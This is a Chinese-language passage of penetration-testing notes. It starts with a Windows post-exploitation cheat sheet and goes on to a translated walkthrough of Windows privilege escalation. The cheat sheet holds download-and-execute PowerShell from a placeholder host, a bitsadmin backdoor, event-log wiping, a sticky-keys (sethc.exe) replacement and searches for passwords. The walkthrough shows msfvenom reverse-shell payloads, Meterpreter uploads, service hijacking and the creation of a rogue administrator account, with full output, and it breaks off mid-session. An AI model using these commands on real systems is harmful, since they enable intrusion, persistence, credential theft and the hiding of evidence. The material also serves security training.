netsh firewall set service type = remotedesktop mode = enable
netsh firewall add allowedprogram C:\nltest.exe mltest enable
netsh firewall add portopening tcp 2482 lt enable all
netsh int portproxy v4tov4 listenport=80 connecthost=[AttackerIP] connectport=80
netsh wlan show profiles
netsh wlan export profile folder=. key=clear
netsh wlan set hostednetwork mode=[allow\|disallow]
netsh wlan set hostednetwork ssid=<ssid> key=<passphrase> keyUsage=persistent\|temporary
netsh wlan [start|stop] hostednetwork
netstat -ano
netstat -ano -p tcp
netstat -ano -p udp
tasklist /V
tasklist /M
tasklist /FI "IMAGENAME eq cmd.exe"
tasklist /FI "PID eq 4060"
ipconfig /all
ipconfig /displaydns
powershell.exe -w hidden -nop -ep bypass -c "IEX ((new-object net.webclient).downloadstring('http://[domainname|IP]:[port]/[file]'))"
powershell.exe -w hidden -nop -ep bypass -c "(new-object net.webclient).DownloadFile('http://ip:port/file', 'C:\Windows\temp\testfile')"
bitsadmin /create backdoor
bitsadmin /addfile backdoor http://192.168.20.10/theshell.exe C:\windows\temp\theshell.exe
bitsadmin /SETMINRETRYDELAY 88000
bitsadmin /SETNOTIFYCMDLINE backdoor C:\windows\temp\theshell.exe NULL
bitsadmin /getnotifycmdline backdoor
bitsadmin /listfiles backdoor
bitsadmin /RESUME backdoor     # Run the backdoor
for /f %a in ('wevtutil el') do @wevtutil cl "%a"
del %WINDIR%\*.log /a /s /q /f
sc create cmdsys type= own type= interact binPath= "c:\windows\system32\cmd.exe /c cmd.exe" & sc start cmdsys
route print
arp -a
qwinsta
qprocess
nbtstat -A ip
fsutil fsinfo drivers
wmic volume LIST BRIEF
systeminfo
at 13:20 /interactive cmd
type C:\Windows\system32\demo.txt
gpresult /Z
dir /b /s | find /I "password"
FOR /F %f in ('dir /b /s C:\') do find /I "password" %f
Replacing file as: sethc.exe
@echo off
c: > nul\cd\ > nul\cd %SYSTEMROOT%\System32\ > nul
if exist %SYSTEMROOT%\System32\cmdsys\ rd /q %SYSTEMROOT%\System32\cmdsys\ > nul
cmd %SYSTEMROOT%\System32\cmdsys\ > nul
copy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\cmd.bkp /y > nul
copy /y c:\windows\system32\sethc.exe c:\windows\system32\cmdsys\sethc.bkp /y > nul
copy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\sethc.exe /y > nul
copy /y c:\windows\system32\cmdsys\sethc.exe c:\windows\system32\sethc.exe /y > nul
exit

参考

http://pwnwiki.io/

搜集的关于后渗透的资料

后渗透阶段常用技术总结 wooyun whitehatfest 2016
Meterpreter使用总结(1)
Meterpreter使用总结(2)之后渗透攻击模块
Powershell攻击指南黑客后渗透之道系列
内网渗透测试定位技术总结| MottoIN

part5 提权

权限提升

提权是指利用操作系统或应用软件中的程序错误、设计缺陷或配置疏忽来获取对应用程序或用户来说受保护资源的高级访问权限。其结果是,应用程序可以获取比应用程序开发者或系统管理员预期的更高的特权,从而可以执行授权的动作。

提权分类 书签
密码攻击
媒介提权
协议分析
欺骗攻击
ps:以下来自于维基百科

背景

大多数计算机系统的设计是面向着多个用户。特权表示用户被允许执行的操作。常见的特权包括查看、编辑或修改系统文件。

特权提升表示用户设法得到本不应该有的权限。这些权限可能用于删除文件、查看私人信息或者安装非法程序(如计算机病毒或恶意软件)等,也可能用来解除制造商或管理员的某些特殊限制。它的发生通常是因为系统存在一个允许绕过安全措施的程序错误,或者利用了设计上的缺陷。特权提升有两种形式:

  • 垂直特权提升,是通常所指的特权提升(privilege elevation),其中较低特权的用户或应用程序将能访问为较高特权用户或应用程序保留的功能或内容(例如,网上银行用户访问到网站管理功能,或者绕过密码认证措施)
  • 水平特权提升,指普通用户访问到本应不能访问的为其他普通用户保留的功能或内容(例如网上银行用户A访问了用户B的网上银行账户)
    Alt text

垂直特权提升

例子

在某些范例中,高特权应用程序假定它只是提供与接口规范匹配的输入,并且不会验证输入。然后,攻击者可以利用这一假设,使未经授权的代码以应用程序的特权运行# :

  • 有些Windows服务是配置为在Local System用户帐户下运行。诸如缓冲区溢出等隐患可能被用来执行特权提升,从而在本地系统级别执行任意代码。除此之外,如果模拟用户时的错误处理不正确(例如,用户引入一个恶意的错误处理程序),采用较低用户特权的系统服务也可能被提升用户特权。
  • 在部分旧版Microsoft Windows操作系统中,All Users的屏幕保护程序在Local System帐户下运行——任何帐户都可以替换文件系统中或注册表中的当前屏幕保护程序的可执行文件,从而提升特权。
  • 在特定版本的Linux内核中,可以编写一个将当前目录设置为/etc/cron.d的程序,然后设法使当前应用被另一个进程kill并产生一个核心转储。核心转储文件被放置到程序的当前目录,即/etc/cron.d,然后cron将会视它为一个文本文件并按它的指示运行程序。因为该文件的内容可能受到攻击者的控制,因而攻击者将能以root特权执行任意程序。
  • 跨区域脚本是一种特权提升攻击,其中网站击破了网页浏览器的安全模型,从而可以在客户端的计算机上运行恶意代码。
  • 还有一种情况是,应用程序可能使用其他高特权服务,并对客户端操控这些服务的用法有着不正确的假设。如果应用程序使用未经检查的输入作为执行的一部分,则它可能出现代码注入问题,从而执行用户提供的命令行或shell命令。攻击者因而可以使用应用程序的权限运行系统命令。
  • 德州仪器计算器(特别是TI-85和TI-82)最初被设计为仅解释以TI-BASIC的方言编写的程序。但是,在用户发现可利用漏洞允许在计算器硬件上执行Z-80代码后,TI发布了编程数据以支持第三方开发。(此做法并未延伸到基于ARM架构的TI-Nspire,在使用Ndless的越狱方法被发现后,此做法仍被德州仪器积极打击。)
  • 部分iPhone版本允许未授权的用户在已锁定时访问手机。
越狱

越狱(jailbreak)是用于在类UNIX操作系统中击破chroot或jail的限制或绕过数字版权管理(DRM)的行为或工具。在前一种情况下,它允许用户查看管理员计划给应用程序或用户使用的文件系统部分之外的文件。在DRM情况下,这将允许用户在具有DRM的设备上运行任意代码,以及突破类似chroot的限制。该术语起源于iPhone/iOS越狱社区,并也被用于PlayStation Portable破解的术语。这些设备已一再遭到越狱从而为执行任意代码,供应商的更新则在封堵这些越狱途径。

  • iOS系统(包括iPhone、iPad和iPod touch)自发布以来都受到过越狱的尝试,并在随着每个固件更新而修正与跟进。iOS越狱工具包含选项来安装Cydia——一个第三方的App Store,作为查找和安装系统修改器和二进制文件的一种方式。为防止iOS越狱,苹果公司已对设备的引导程序采用SHSH blob执行检查,从而禁止上传自定义内核,并防止将软件降级到较早的可越狱固件。在未受限制的越狱中,iBoot环境被更改为执行一个boot ROM漏洞,并允许提交对底层bootloader的补丁,或者hack内核以在SHSH检查后转交给越狱内核。

  • 一种类似的越狱方法也存在于S60平台的智能手机,它涉及到在内存或已编辑固件(类似于PlayStation Portable的M33破解固件)中给已加载的特定ROM文件安装softmod式补丁来规避对未签名代码的限制。诺基亚发布了更新以遏制未经授权的越狱,方式与苹果公司类似。

  • 在游戏主机上,越狱经常用于执行自制游戏。在2011年,索尼在Kilpatrick Stockton律师事务所的协助下起诉了21岁的乔治·霍兹以及为PlayStation 3越狱的fail0verflow小组的成员(见Sony Computer Entertainment America v.、George Hotz和PlayStation越狱)

缓解措施

操作系统和用户可以使用以下策略降低特权提升的风险:

  • 数据执行保护
  • 地址空间配置随机加载(使缓冲区溢出更难在内存中找到已知地址来执行特权指令)
  • 运行的应用程序采用最小权限原则(例如不使用管理员SID运行Internet Explorer)从而减少缓冲区溢出exploits滥用高级用户特权的可能性。
  • 要求内核模式代码具有数字签名。
  • 使用最新的杀毒软件
  • 打补丁
  • 使用防止缓冲区溢出的编译器
  • 软件和固件的加密。
  • 使用具备强制访问控制的操作系统,例如SE Linux

    水平特权提升

    当应用程序允许攻击者访问通常受到应用程序或用户保护的资源时,则发生了水平特权提升。其结果是,应用程序执行的操作与之相同,但使用或得到了与应用程序开发者或系统管理员预期不同的安全上下文;这是一种有限程度的特权提升(具体来说,未经授权地模仿了其他用户)。

例子
这个问题经常发生在网络应用程序中。考虑下列例子:

  • 用户A可以在网上银行应用中访问自己的银行账户。
  • 用户B可以在同一个网上银行应用中访问自己的银行账户。
  • 当用户A通过某种恶意行为能访问用户B的银行账户时,则发生了此问题。
  • 由于常见的Web应用程序弱点或漏洞,这种恶意活动经常出现。

可能导致此问题的潜在Web应用程序漏洞或情况包括:

  • 用户的HTTP Cookie中可预测的会话ID
  • 会话固定
  • 跨网站脚本
  • 容易猜到的密码
  • 盗取或劫持会话Cookie
  • 键盘监听

权限提升的手法

ps:这一部分是我自己加的,原文只有上面的介绍,也就是科普的效果,但是提权的常见思路还是要掌握。

windows-privilege-escalation-methods-for-pentesters

win下的翻译是来自于这篇博客:https://pentest.blog/windows-privilege-escalation-methods-for-pentesters

想象一下,你已经在Windows机器上获得了低权限的Meterpreter会话。 可能你会运行getsystem升级你的权限。 但是如果失败呢?

莫慌。 还有一些技巧可以尝试。

Unquoted Service Paths

基本上,如果服务可执行文件路径没有用引号括起来并且包含空格,就会发生一个漏洞。
关于这个漏洞,这里有详细介绍!
要识别这些不带引号的服务,您可以在Windows命令行管理程序上运行此命令:

 wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

所有带有不带引号的可执行文件路径的服务将被列出:

  meterpreter > shell
Process 4024 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\testuser\Desktop>wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
Vulnerable Service                                      Vulnerable Service                   C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe                   Auto       
C:\Users\testuser\Desktop>

如果您使用Regedit查看此服务的注册表项,则可以看到ImagePath值为:
C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe

应该是这样的:
“C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe”

Alt text
当Windows尝试运行此服务时,它将按顺序查看以下路径,并将运行它将找到的第一个EXE:

C:\Program.exe
C:\Program Files.exe
C:\Program Files (x86)\Program.exe
C:\Program Files (x86)\Program Folder\A.exe
C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe

他的漏洞是由Windows操作系统中的CreateProcess函数引起的。 有关更多信息,[请单击阅读此文章]https://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx)。

如果我们可以放弃我们的恶意exe文件成功的路径之一,一旦服务重新启动,Windows将运行我们的exe作为系统。 但是我们应该对这些文件夹中的一个具有必要的权限。

为了检查文件夹的权限,我们可以使用内置的Windows工具icals。 让我们检查C:\Program Files(x86)\Program Folder文件夹的权限:

meterpreter > shell
Process 1884 created.
Channel 4 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Program Files (x86)\Program Folder>icacls "C:\Program Files (x86)\Program Folder"
icacls "C:\Program Files (x86)\Program Folder"
C:\Program Files (x86)\Program Folder Everyone:(OI)(CI)(F)
                                      NT SERVICE\TrustedInstaller:(I)(F)
                                      NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                                      NT AUTHORITY\SYSTEM:(I)(F)
                                      NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                                      BUILTIN\Administrators:(I)(F)
                                      BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                                      BUILTIN\Users:(I)(RX)
                                      BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                                      CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                                      APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                      APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
Successfully processed 1 files; Failed processing 0 files
C:\Program Files (x86)\Program Folder>

G00d Lucky ! 正如你所看到的,everyone都完全控制这个文件夹。

F =完全控制
CI =容器继承 - 此标志指示从属容器将继承此ACE。
OI = Object Inherit - 这个标志表示从属文件将继承ACE。

这意味着我们可以自由地把任何文件放到这个文件夹中!

从现在开始,你要做什么取决于你的想象力。 我只是喜欢生成一个反向shell 的payload作为系统运行。

MSFvenom可以用于这项工作:

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.2.60 LPORT=8989 -f exe -o A.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Final size of exe file: 73802 bytes
Saved as: A.exe

上传我们的 payload 到C:\Program Files (x86)\Program Folder 文件夹:

meterpreter > getuid
Server username: TARGETMACHINE\testuser
meterpreter > cd "../../../Program Files (x86)/Program Folder"
meterpreter > ls
Listing: C:\Program Files (x86)\Program Folder
==============================================
Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
40777/rwxrwxrwx  0     dir   2017-01-04 21:43:28 -0500  A Subfolder
meterpreter > upload -f A.exe
[*] uploading  : A.exe -> A.exe
[*] uploaded   : A.exe -> A.exe
meterpreter > ls
Listing: C:\Program Files (x86)\Program Folder
==============================================
Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
40777/rwxrwxrwx   0      dir   2017-01-04 21:43:28 -0500  A Subfolder
100777/rwxrwxrwx  73802  fil   2017-01-04 22:01:32 -0500  A.exe
meterpreter >

服务器重启后,A.exe将以SYSTEM身份运行。 让我们尝试停止并重新启动服务:

meterpreter > shell
Process 1608 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\testuser\Desktop>sc stop "Vulnerable Service"
sc stop "Vulnerable Service"
[SC] OpenService FAILED 5:
Access is denied.
C:\Users\testuser\Desktop>

访问被拒绝,因为我们没有权限来停止或启动服务。 但是,这并不是什么大事,我们可以等待某个人重新启动机器,或者我们可以使用shutdown命令自行完成:

C:\Users\testuser\Desktop>shutdown /r /t 0
shutdown /r /t 0
C:\Users\testuser\Desktop>
[*] 192.168.2.40 - Meterpreter session 8 closed. Reason: Died

正如你所看到的,我们的会话已经丢失。 别忘记我们的秘密shell。

我们的目标机器正在重新启动。 不久,我们的payload将作为系统工作。 我们应该立即启动一个处理程序。

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.2.60 
lhost => 192.168.2.60
msf exploit(handler) > set lport 8989
lport => 8989
msf exploit(handler) > run
[*] Started reverse TCP handler on 192.168.2.60:8989 
[*] Starting the payload handler...
[*] Sending stage (957999 bytes) to 192.168.2.40
[*] Meterpreter session 1 opened (192.168.2.60:8989 -> 192.168.2.40:49156) at 2017-01-04 22:37:17 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 
[*] 192.168.2.40 - Meterpreter session 1 closed.  Reason: Died

现在我们已经获得了具有SYSTEM权限的Meterpreter shell。 举手击掌!

但是等一下,为什么我们的会议这么快就死了? 我们刚刚开始!

不用担心。 这是因为,在Windows操作系统中启动服务时,它必须与服务控制管理器进行通信。 如果不是这样,服务控制管理器认为有问题,并终止该过程。

我们所需要做的是在SCM终止我们的payload之前迁移到另一个进程,或者您可以考虑使用自动迁移。😉

顺便说一下,有一个Metasploit模块用于检查和利用这个漏洞:exploit/windows/local/trusted_service_path

该模块只需要在运行之前将其链接到现有的Meterpreter会话:

msf > use exploit/windows/local/trusted_service_path
msf exploit(trusted_service_path) > show options
Module options (exploit/windows/local/trusted_service_path):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.
Exploit target:
   Id  Name
   --  ----
   0   Windows

然而,了解内部情况总是很好的。😉

如果您想自己演示此漏洞,则可以将脆弱的服务添加到您的测试环境中:

C:\Windows\System32>sc create "Vulnerable Service" binPath= "C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe" start=auto
C:\Windows\System32>cd C:\Program Files (x86)
C:\Program Files (x86)>mkdir "Program Folder\A Subfolder"
C:\Program Files (x86)>icacls "C:\Program Files (x86)\Program Folder" /grant Everyone:(OI)(CI)F /T
易受攻击的服务

你知道,Windows服务作为SYSTEM运行。 因此,他们的文件夹,文件和注册表项必须使用强大的访问控制进行保护。 在某些情况下,我们遇到没有得到充分保护的服务。

不安全的注册表权限

在Windows中,与服务相关的信息存储在HKLM\SYSTEM\CurrentControlSet\Services注册表项中。 如果我们想查看有关我们的“易受攻击的服务”的信息,我们应该检查HKLM\SYSTEM\ControlSet001\Services\Vulnerable Service密钥。
Alt text
当然,我们的易受攻击的服务也有一些弱点。🙂
Alt text
但重点是,我们如何从命令行检查这些权限? 让我们从头开始。

您已经获得了低权限的Meterpreter会话,并且您想要检查服务的权限。

meterpreter > getuid
Server username: TARGETMACHINE\testuser

您可以使用SubInACL工具来检查注册表项权限。 你可以在这里下载它,但是你需要知道它被部署为一个msi文件。 如果目标机器上没有启用AlwaysInstallElevated策略设置,则不能安装具有低权限用户的msi文件(我们将在后面讨论AlwaysInstallElevated策略)当然,您可能不想安装新软件到 目标机器。

我建议你安装一个虚拟机,并在C\Program Files(x86)\Windows Resource Kits\Tools\中找到subinacl.exe文件。 它将工作顺利,而无需安装msi软件包。

让我们上传SubInACL工具到我们的目标:

meterpreter > cd %temp%
meterpreter > pwd
C:\Users\testuser\AppData\Local\Temp
meterpreter > upload -f subinacl.exe
[*] uploading  : subinacl.exe -> subinacl.exe
[*] uploaded   : subinacl.exe -> subinacl.exe
meterpreter >

现在可以使用SubInACL工具了。 让我们来检查HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service的权限

meterpreter > shell
Process 2196 created.
Channel 3 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\testuser\AppData\Local\Temp>subinacl.exe /keyreg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable Service" /display
subinacl.exe /keyreg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable Service" /display
SeSecurityPrivilege : Access is denied.
WARNING :Unable to set SeSecurityPrivilege privilege. This privilege may be required. 
================================================================================
+KeyReg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable Service
================================================================================
/control=0x400 SE_DACL_AUTO_INHERITED-0x0400 
/owner             =builtin\administrators
/primary group     =system
/perm. ace count   =10
/pace =everyone   ACCESS_ALLOWED_ACE_TYPE-0x0
  CONTAINER_INHERIT_ACE-0x2      
    Key and SubKey - Type of Access:
  Full Control
    Detailed Access Flags :
  KEY_QUERY_VALUE-0x1        KEY_SET_VALUE-0x2          KEY_CREATE_SUB_KEY-0x4     
  KEY_ENUMERATE_SUB_KEYS-0x8 KEY_NOTIFY-0x10            KEY_CREATE_LINK-0x20       DELETE-0x10000             
  READ_CONTROL-0x20000       WRITE_DAC-0x40000          WRITE_OWNER-0x80000        
.
.
.
.
.
.
C:\Users\testuser\AppData\Local\Temp>

重点在20至23行。 它说每个人都有完全控制这个注册表项。 这意味着我们可以通过编辑ImagePath值来更改此服务的可执行路径。 这是一个巨大的安全弱点。

如果我们生成一个简单的反向shell的payload并将其放到我们的目标中,剩下的就是使用我们payload的路径来更改易受攻击的服务的ImagePath值。

我们来生成一个简单的反向shell的payload:

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.2.60 LPORT=8989 -f exe -o Payload.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Final size of exe file: 73802 bytes
Saved as: Payload.exe

把它放到目标机器上:

 meterpreter > pwd
C:\Users\testuser\AppData\Local\Temp
meterpreter > upload -f Payload.exe
[*] uploading  : Payload.exe -> Payload.exe
[*] uploaded   : Payload.exe -> Payload.exe
meterpreter >

现在让我们用我们的payload路径来改变ImagePath值。

meterpreter > shell
Process 280 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\testuser\AppData\Local\Temp>reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\testuser\AppData\Local\Temp\Payload.exe" /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\testuser\AppData\Local\Temp\Payload.exe" /f
The operation completed successfully.
C:\Users\testuser\AppData\Local\Temp>

服务重启后,Payload.exe将以SYSTEM身份运行。 但请记住,我们必须重新启动计算机才能执行此操作。

C:\Users\testuser\AppData\Local\Temp>shutdown /r /t 0
shutdown /r /t 0
C:\Users\testuser\AppData\Local\Temp>
[*] 192.168.2.6 - Meterpreter session 1 closed.  Reason: Died

我们的目标机器正在重新启动。 准备你的处理程序! 不久,我们的payload将作为系统工作。

msf exploit(handler) > run
[*] Started reverse TCP handler on 192.168.2.60:8989 
[*] Starting the payload handler...
[*] Sending stage (957999 bytes) to 192.168.2.6
[*] Meterpreter session 2 opened (192.168.2.60:8989 -> 192.168.2.6:49156) at 2017-01-16 03:59:58 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 
[*] 192.168.2.6 - Meterpreter session 2 closed.  Reason: Died

但是别忘了! 正如以前的方法一样,我们正在使用服务,我们的hi-priv meterpreter session将很快结服务权限束。

不安全的服务权限

它与以前的不安全的注册表权限示例非常相似。 直接修改服务的“ImagePath”注册表值,而不是修改服务属性。

要检查哪些服务具有易受攻击的特权,我们可以使用SysInternals Suite中的AccessChk工具。
上传AccessChk工具到目标机器:

meterpreter > cd %temp%
meterpreter > pwd
C:\Users\testuser\AppData\Local\Temp
meterpreter > upload -f accesschk.exe
[*] uploading  : accesschk.exe -> accesschk.exe
[*] uploaded   : accesschk.exe -> accesschk.exe
meterpreter >

要检查易受攻击的服务,只需运行以下命令:

meterpreter > getuid
Server username: TARGETMACHINE\testuser
meterpreter > shell
Process 3496 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\testuser\AppData\Local\Temp>accesschk.exe -uwcqv "testuser" * 
accesschk.exe -uwcqv "TestUser" *
Accesschk v6.02 - Reports effective permissions for securable objects
Copyright (C) 2006-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
RW Vulnerable Service
 SERVICE_ALL_ACCESS
C:\Users\testuser\AppData\Local\Temp>

所有“testuser”可以修改的服务都将被列出。 SERVICE_ALL_ACCESS表示我们完全控制修改易受攻击的服务的属性。

我们来看看易受攻击服务的属性:

C:\Users\testuser\AppData\Local\Temp>sc qc "Vulnerable Service"
sc qc "Vulnerable Service"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: Vulnerable Service
        TYPE               : 10  WIN32_OWN_PROCESS 
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe
        LOAD_ORDER_GROUP   : UIGroup
        TAG                : 0
        DISPLAY_NAME       : Vulnerable Service
        DEPENDENCIES       : 
        SERVICE_START_NAME : LocalSystem
C:\Users\testuser\AppData\Local\Temp>

BINARY_PATH_NAME指向Executable.exe,这是该服务的可执行文件。 如果我们用任何命令改变这个值,这个命令将在服务的下一次启动时作为SYSTEM运行,如果我们想这样做,我们可以添加一个本地管理员,

首先要做的是添加一个用户:

C:\Users\testuser\AppData\Local\Temp>sc config "Vulnerable Service" binpath= "net user eviladmin P4ssw0rd@ /add"
sc config "Vulnerable Service" binpath= "net user eviladmin P4ssw0rd@ /add"
[SC] ChangeServiceConfig SUCCESS
C:\Users\testuser\AppData\Local\Temp>

更改binpath后,使用sc stopsc start命令重新启动服务:

C:\Users\testuser\AppData\Local\Temp>sc stop "Vulnerable Service"
sc stop "Vulnerable Service"
SERVICE_NAME: Vulnerable Service 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 3  STOP_PENDING 
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
C:\Users\testuser\AppData\Local\Temp>sc start "Vulnerable Service"
sc start "Vulnerable Service"
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.

当您尝试启动服务时,将返回一个错误。 正如我们之前谈到的那样,这是因为,当服务在Windows操作系统中启动时,它必须与服务控制管理器进行通信。net user无法与SCM通信。 不用担心,我们的命令会以SYSTEM身份运行,新用户将会成功添加。

现在我们应该通过改变binpath并重新启动服务来为本地管理员添加新的eviladmin用户(我们不需要再次停止它,因为它没有和SCM通信)

C:\Users\testuser\AppData\Local\Temp>sc config "Vulnerable Service" binpath="net localgroup Administrators eviladmin /add"    
sc config "Vulnerable Service" binpath= "net localgroup Administrators eviladmin /add"
[SC] ChangeServiceConfig SUCCESS
C:\Users\testuser\AppData\Local\Temp>sc start "Vulnerable Service"
sc start "Vulnerable Service"
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
C:\Users\testuser\AppData\Local\Temp>

享受您的新的本地管理员帐户!

C:\Users\testuser\AppData\Local\Temp>net user
net user
User accounts for \\TARGETMACHINE
-------------------------------------------------------------------------------
Administrator            can                      eviladmin                
Guest                    testuser                 
The command completed successfully.
C:\Users\testuser\AppData\Local\Temp>

正如我们之前所做的那样,您可能更愿意将反向shell有效负载放到目标机器上,并用有效负载的路径替换binpath。

而不是手动应用这种方法,你可以使用这个metasploit模块:exploit/windows/local/service_permissions
您必须将其链接到现有的Meterpreter会话:

msf > use exploit/windows/local/service_permissions
msf exploit(service_permissions) > show options
Module options (exploit/windows/local/service_permissions):
   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   AGGRESSIVE  false            no        Exploit as many services as possible (dangerous)
   SESSION                      yes       The session to run this module on.
Exploit target:
   Id  Name
   --  ----
   0   Automatic
不安全的文件/文件夹权限

这与我们用非引用服务路径所做的非常相似。 无引号的服务路径利用了“CreateProcess”功能的弱点,以及服务的可执行文件路径的文件夹权限。 但是在这里我们将尝试直接替换可执行文件。

例如,如果我们检查我们的漏洞服务的可执行路径的权限,我们可以看到它没有得到很好的保护:

C:\Program Files (x86)\Program Folder>icacls "C:\Program Files (x86)\Program Folder\A Subfolder"
icacls "C:\Program Files (x86)\Program Folder\A Subfolder"
C:\Program Files (x86)\Program Folder\A Subfolder Everyone:(OI)(CI)(F)
                                                  Everyone:(I)(OI)(CI)(F)
                                                  NT SERVICE\TrustedInstaller:(I)(F)
                                                  NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                                                  NT AUTHORITY\SYSTEM:(I)(F)
                                                  NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                                                  BUILTIN\Administrators:(I)(F)
                                                  BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                                                  BUILTIN\Users:(I)(RX)
                                                  BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                                                  CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                                                  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                                  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
Successfully processed 1 files; Failed processing 0 files
C:\Program Files (x86)\Program Folder>

简单地用反向shell payload替换“Executable.exe”文件并重新启动服务将给我们带有SYSTEM权限的meterpreter会话。

Always Install Elevated

AlwaysInstallElevated是一个策略设置,指示Windows安装程序在系统上安装任何软件包时使用提升的权限。 如果启用此策略设置,则将权限扩展到所有程序。

实际上启用这相当于授予非特权用户的管理权限。 但是以某种我无法理解的方式,有时候系统管理员会启用这个设置:
Alt text
您应该检查此注册表值以了解是否启用此策略:

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001

如果您已经获得了低权限的Meterpreter会话,则内置的命令行工具reg注册查询将帮助您检查这些值:

meterpreter > getuid
Server username: TARGETCOMPUTER\testuser
meterpreter > shell
Process 812 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\testuser\Desktop>reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
ERROR: The system was unable to find the specified registry key or value.
C:\Users\testuser\Desktop>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
ERROR: The system was unable to find the specified registry key or value.
C:\Users\testuser\Desktop>

如果您收到“错误:系统无法找到指定的注册表项或值”的错误,则表示此注册表值从未创建。 所以,政策没有启用。

但是,如果您看到以下输出,则表示策略设置已启用,您可以利用它。😉

meterpreter > getuid
Server username: TARGETCOMPUTER\testuser
meterpreter > shell
Process 2172 created.
